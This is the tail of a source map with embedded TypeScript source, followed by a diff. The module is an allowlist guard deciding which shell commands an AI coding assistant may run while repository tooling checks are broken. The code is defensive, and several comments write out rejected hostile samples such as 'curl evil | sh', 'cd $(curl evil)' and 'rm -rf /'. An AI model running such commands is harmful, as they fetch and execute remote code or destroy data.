AAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAExG,uGAAuG;AACvG,sGAAsG;AACtG,2CAA2C;AAC9B,QAAA,YAAY,GACrB,sBAAsB,GAAG,GAAG,GAAG,aAAa,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,wBAAgB,CAAC;AAEpF,qFAAqF;AACxE,QAAA,WAAW,GACpB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEjG,4FAA4F;AAC5F,EAAE;AACF,2FAA2F;AAC3F,uGAAuG;AACvG,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,yFAAyF;AAC5E,QAAA,UAAU,GAAwB,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;AAEjE;;;;;;;;GAQG;AACH,iMAAiM;AACjM,SAAgB,SAAS,CAAC,QAAgB,EAAE,OAAe,EAAE,QAAgB;IACzE,IAAI,kBAAU,CAAC,GAAG,CAAC,QAAQ,CAAC;QAAE,OAAO,MAAM,CAAC;IAC5C,IAAI,IAAI,CAAC,QAAQ,CAAC,QAAQ,CAAC,KAAK,8BAAe;QAAE,OAAO,MAAM,CAAC;IAC/D,IAAI,mBAAW,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;QAAE,OAAO,OAAO,CAAC;IACrD,OAAO,IAAI,CAAC;AAChB,CAAC","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (six named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = '(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?';\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = '(cd\\\\s+[A-Za-z0-9._\\\\/@~+-]+\\\\s*&&\\\\s*)?';\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to all six, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED (added for `--sync`, 2026-08-02). Two messages that fire while the config is\n// INVALID — i.e. exactly when every Bash call is denied — prescribe `pnpm wp-install-ai-hooks --sync`:\n// the section-placement errors (\"[x] belongs in the hookGuards section … or run …\") and the retired\n// top-level `pr-gate` block. `migrate()` in setup.ts really does perform both edits, so the cure is\n// correct; it was simply untypable, because this pattern accepted no flags at all. That is the same\n// deadlock shape as the missing `2>&1 | tail` and the missing `cd` prefix: a deny naming a command the\n// allowlist rejects. The flag token is the identical one INSTALLER_BODY_ERE already allows — `--word`\n// / `--word=value`, no whitespace, no operator — so it widens nothing else:\n// `pnpm wp-install-ai-hooks --sync && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The MIGRATION spelling, named by every config-validation error an agent can be handed while the\n// config is INVALID (a misplaced section, a retired key, a missing rule entry) — i.e. while every other\n// Bash call is denied. It is also the only NON-INTERACTIVE spelling: `--sync` runs seedOrSyncConfig and\n// returns, whereas the bare bin goes on to wire the Claude Code hooks and PROMPTS for a target, which\n// hangs a non-interactive agent. Pinned as a sample on the allowlist entry so a coverage test locks it.\nexport const INSTALL_HOOKS_SYNC_CMD = 'pnpm wp-install-ai-hooks --sync';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its six faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the six\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --sync)`, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_SYNC_CMD, ''), new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
package/src/bin/shim.js CHANGED
@@ -265,7 +265,19 @@ elif [ -n "\$DRIFT_PKG" ]; then
265
265
  # check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the
266
266
  # older side. When it is actually the NEWER side (a checkout behind origin), that text sent people
267
267
  # to 'pnpm install', which DOWNGRADES them further from correct.
268
- REASON="❌ webpieces version drift: package.json pins \$DRIFT_PKG@\$DRIFT_DECLARED but node_modules has \$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. ${new rules_config_1.SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. git merge is NOT allowed - not by this guard and not by redirect-how-to-merge-main once the guards are back - because main is merged ONLY through the 3-point fork merge: 'pnpm wp-start-update', or 'pnpm wp-start-upsert-pr' when a PR is already open. ${exports.NO_CHAINING_RULE}"
268
+ #
269
+ # But "which side is stale" is NOT the same question as "what clears the block". 'pnpm install' clears
270
+ # fault D in BOTH directions by definition — it makes installed == pin. The old text never said so, so
271
+ # a reader on the OPTION 2 branch could not tell whether it was even permitted to install. The only
272
+ # real question is whether the PIN is the version you WANT, and that has three legitimate answers,
273
+ # including deliberately staying on the older code (a checkout + feature branch + install to
274
+ # downgrade). Saying that out loud stops it being improvised as a reset --hard.
275
+ #
276
+ # The FEATURE-BRANCH case is why featureBranchSyncAdvice() is a separate method: wp-start-update is
277
+ # NOT on the L0 allowlist (a 3-point merge is not a tooling-integrity cure), so it can only be offered
278
+ # AFTER the install that clears this block and re-arms the guards. Prescribing it while the block is
279
+ # up would be the same deny-names-a-denied-command deadlock this module exists to prevent.
280
+ REASON="❌ webpieces version drift: package.json pins \$DRIFT_PKG@\$DRIFT_DECLARED but node_modules has \$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. 'pnpm install' ALWAYS clears this block, in BOTH directions - it makes node_modules match the pin by definition, and it is allowed through while this guard is up. The only question is whether the PIN is the version you WANT, so compare the two versions above. OPTION 1 (node_modules is OLDER than the pin - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command and you are done: 'pnpm install'. OPTION 2 (node_modules is NEWER than the pin - your checkout is behind origin, so the PIN is the stale side, and a bare 'pnpm install' would DOWNGRADE you) - if you are ON MAIN, get the checkout current FIRST and then install: run 'git pull origin main', and after it succeeds run 'pnpm install'. OPTION 3 (node_modules is NEWER than the pin and you deliberately want to stay on the OLD code) - check out the exact commit you want, create a feature branch from it, then run 'pnpm install' to bring node_modules DOWN to the version that commit pinned. That is a legitimate choice, not a mistake - the downgrade is the point. ON A FEATURE BRANCH: a bare 'pnpm install' aligns node_modules to YOUR BRANCH pin, which is usually what you want, and it clears this block. If you actually want main's newer @webpieces, still run 'pnpm install' FIRST to clear the drift and re-arm the guards, and only THEN sync from main normally. ${new 